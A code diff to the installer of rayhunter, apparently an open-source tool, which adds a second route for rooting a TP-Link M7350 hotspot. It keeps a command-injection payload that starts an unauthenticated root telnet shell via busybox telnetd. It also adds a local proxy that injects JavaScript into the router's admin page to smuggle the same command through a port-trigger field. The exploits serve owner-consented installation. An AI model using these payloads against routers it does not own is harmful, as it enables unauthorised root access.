diff --git a/Cargo.lock b/Cargo.lock
index ebee10c3..f1e6476f 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -1170,12 +1170,12 @@ dependencies = [
 
 [[package]]
 name = "http-body-util"
-version = "0.1.0"
+version = "0.1.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "41cb79eb393015dadd30fc252023adb0b2400a0caee0fa2a077e6e21a551e840"
+checksum = "b021d93e26becf5dc7e1b75b1bed1fd93124b374ceb73f43d4d4eafec896a64a"
 dependencies = [
  "bytes",
- "futures-util",
+ "futures-core",
  "http",
  "http-body",
  "pin-project-lite",
@@ -1491,7 +1491,11 @@ version = "0.1.0"
 dependencies = [
  "adb_client",
  "anyhow",
+ "axum",
+ "bytes",
  "clap",
+ "hyper",
+ "hyper-util",
  "md5",
  "nusb",
  "reqwest",
diff --git a/installer/Cargo.toml b/installer/Cargo.toml
index 383714eb..ab213802 100644
--- a/installer/Cargo.toml
+++ b/installer/Cargo.toml
@@ -9,7 +9,11 @@ vendor = []
 [dependencies]
 # adb_client = { path = "../../adb_client/adb_client" }
 anyhow = "1.0.98"
+axum = "0.8.3"
+bytes = "1.10.1"
 clap = { version = "4.5.37", features = ["derive"] }
+hyper = "1.6.0"
+hyper-util = "0.1.11"
 md5 = "0.7.0"
 nusb = "0.1.13"
 reqwest = { version = "0.12.15", features = ["json"], default-features = false }
diff --git a/installer/src/main.rs b/installer/src/main.rs
index 285c2ff9..bf7b8396 100644
--- a/installer/src/main.rs
+++ b/installer/src/main.rs
@@ -62,7 +62,7 @@ async fn run_function() -> Result<(), Error> {
     let Args { command } = Args::parse();
 
     match command {
-        Command::Tplink(tplink) => tplink::main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi. Currently only Hardware Revision v3 is supported.")?,
+        Command::Tplink(tplink) => tplink::main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi.")?,
         Command::Orbic(_) => orbic::install().await.context("Failed to install rayhunter on the Orbic RC400L")?,
         Command::Util(subcommand) => match subcommand.command {
             UntilSubCommand::Serial(serial_cmd) => {
diff --git a/installer/src/tplink.rs b/installer/src/tplink.rs
index 247b01eb..a2aa86fb 100644
--- a/installer/src/tplink.rs
+++ b/installer/src/tplink.rs
@@ -3,6 +3,17 @@ use std::str::FromStr;
 use std::time::Duration;
 
 use anyhow::{Context, Error};
+use axum::{
+    Router,
+    body::{Body, to_bytes},
+    extract::{Request, State},
+    http::uri::Uri,
+    response::{IntoResponse, Response},
+    routing::any,
+};
+use bytes::{Bytes, BytesMut};
+use hyper::StatusCode;
+use hyper_util::{client::legacy::connect::HttpConnector, rt::TokioExecutor};
 use serde::Deserialize;
 use tokio::io::{AsyncReadExt, AsyncWriteExt};
 use tokio::net::TcpStream;
@@ -10,6 +21,8 @@ use tokio::time::{sleep, timeout};
 
 use crate::InstallTpLink;
 
+type HttpProxyClient = hyper_util::client::legacy::Client<HttpConnector, Body>;
+
 pub async fn main_tplink(args: InstallTpLink) -> Result<(), Error> {
     let InstallTpLink {
         skip_sdcard,
@@ -28,33 +41,45 @@ pub async fn main_tplink(args: InstallTpLink) -> Result<(), Error> {
 
     // https://github.com/advisories/GHSA-ffwq-9r7p-3j6r
     // in particular: https://www.yuque.com/docs/share/fca60ef9-e5a4-462a-a984-61def4c9b132
-    let RootResponse { result } = client.post(&qcmap_web_cgi_endpoint)
+    let response = client.post(&qcmap_web_cgi_endpoint)
         .body(r#"{"module": "webServer", "action": 1, "language": "EN';echo $(busybox telnetd -l /bin/sh);echo 1'"}"#)
         .send()
-        .await?
-        .error_for_status()?
-        .json()
         .await?;
 
-    if result != 0 {
-        anyhow::bail!("Bad result code when trying to root device: {result}");
+    if response.status() == 404 {
+        println!("Got a 404 trying to run exploit for hardware revision v3, trying v5 exploit");
+        tplink_launch_telnet_v5(admin_ip.clone()).await?;
+    } else {
+        let RootResponse { result } = response.error_for_status()?.json().await?;
+
+        if result != 0 {
+            anyhow::bail!("Bad result code when trying to root device: {result}");
+        }
+
+        println!("Detected hardware revision v3");
     }
 
+    println!("Succeeded in rooting the device!");
+
+    tplink_run_install(skip_sdcard, admin_ip).await
+}
+
+async fn tplink_run_install(skip_sdcard: bool, admin_ip: String) -> Result<(), Error> {
     println!("Connecting via telnet to {admin_ip}");
     let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
 
     if !skip_sdcard {
         println!("Mounting sdcard");
-        telnet_send_command(addr, "mount /dev/mmcblk0p1 /mnt/card", "exit code 0").await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?;
+        telnet_send_command(addr, "mount /dev/mmcblk0p1 /media/card", "exit code 0").await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?;
     }
 
     // there is too little space on the internal flash to store anything, but the initrd script
     // expects things to be at this location
     telnet_send_command(addr, "rm -rf /data/rayhunter", "exit code 0").await?;
     telnet_send_command(addr, "mkdir -p /data", "exit code 0").await?;
-    telnet_send_command(addr, "ln -sf /mnt/card /data/rayhunter", "exit code 0").await?;
+    telnet_send_command(addr, "ln -sf /media/card /data/rayhunter", "exit code 0").await?;
 
-    telnet_send_file(addr, "/mnt/card/config.toml", crate::CONFIG_TOML).await?;
+    telnet_send_file(addr, "/media/card/config.toml", crate::CONFIG_TOML).await?;
 
     #[cfg(feature = "vendor")]
     let rayhunter_daemon_bin = include_bytes!("../../rayhunter-daemon-tplink/rayhunter-daemon");
@@ -63,7 +88,7 @@ pub async fn main_tplink(args: InstallTpLink) -> Result<(), Error> {
     let rayhunter_daemon_bin =
         &tokio::fs::read("target/armv7-unknown-linux-gnueabihf/release/rayhunter-daemon").await?;
 
-    telnet_send_file(addr, "/mnt/card/rayhunter-daemon", rayhunter_daemon_bin).await?;
+    telnet_send_file(addr, "/media/card/rayhunter-daemon", rayhunter_daemon_bin).await?;
     telnet_send_file(
         addr,
         "/etc/init.d/rayhunter_daemon",
@@ -73,7 +98,7 @@ pub async fn main_tplink(args: InstallTpLink) -> Result<(), Error> {
 
     telnet_send_command(
         addr,
-        "chmod ugo+x /mnt/card/rayhunter-daemon",
+        "chmod ugo+x /media/card/rayhunter-daemon",
         "exit code 0",
     )
     .await?;
@@ -186,3 +211,84 @@ async fn telnet_send_command(
 
     Ok(())
 }
+
+#[derive(Clone)]
+struct AppState {
+    client: HttpProxyClient,
+    admin_ip: String,
+}
+
+async fn handler(state: State<AppState>, mut req: Request) -> Result<Response, StatusCode> {
+    let path = req.uri().path();
+    let path_query = req
+        .uri()
+        .path_and_query()
+        .map(|v| v.as_str())
+        .unwrap_or(path);
+
+    let uri = format!("http://{}{}", state.admin_ip, path_query);
+    let is_settings_js = path_query == "/js/settings.min.js";
+
+    *req.uri_mut() = Uri::try_from(uri).unwrap();
+
+    let mut response = state
+        .client
+        .request(req)
+        .await
+        .map_err(|_| StatusCode::BAD_REQUEST)?
+        .into_response();
+
+    if is_settings_js {
+        let (parts, body) = response.into_parts();
+        let data = to_bytes(body, usize::MAX)
+            .await
+            .map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
+        let mut data = BytesMut::from(data);
+        // inject some javascript into the admin UI to get us a telnet shell.
+        data.extend(br#";window.rayhunterPoll = window.setInterval(() => {
+            Globals.models.PTModel.add({applicationName: "rayhunter-root", enableState: 1, entryId: 1, openPort: "2300-2400", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh)", triggerProtocol: "TCP"});
+            alert("Success! You can go back to the rayhunter installer.");
+            window.clearInterval(window.rayhunterPoll);
+        }, 1000);"#);
+        response = Response::from_parts(parts, Body::from(Bytes::from(data)));
+        response.headers_mut().remove("Content-Length");
+    }
+
+    Ok(response)
+}
+
+async fn tplink_launch_telnet_v5(admin_ip: String) -> Result<(), Error> {
+    let client: HttpProxyClient =
+        hyper_util::client::legacy::Client::<(), ()>::builder(TokioExecutor::new())
+            .build(HttpConnector::new());
+
+    let app = Router::new()
+        .route("/", any(handler))
+        .route("/{*path}", any(handler))
+        .with_state(AppState {
+            client,
+            admin_ip: admin_ip.clone(),
+        });
+
+    let listener = tokio::net::TcpListener::bind("127.0.0.1:4000")
+        .await
+        .unwrap();
+
+    println!("Listening on http://{}", listener.local_addr().unwrap());
+    println!("Please open above URL in your browser and log into the router to continue.");
+
+    let handle = tokio::spawn(async move { axum::serve(listener, app).await });
+
+    let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
+
+    while telnet_send_command(addr, "true", "exit code 0")
+        .await
+        .is_err()
+    {
+        sleep(Duration::from_millis(1000)).await;
+    }
+
+    handle.abort();
+
+    Ok(())
+}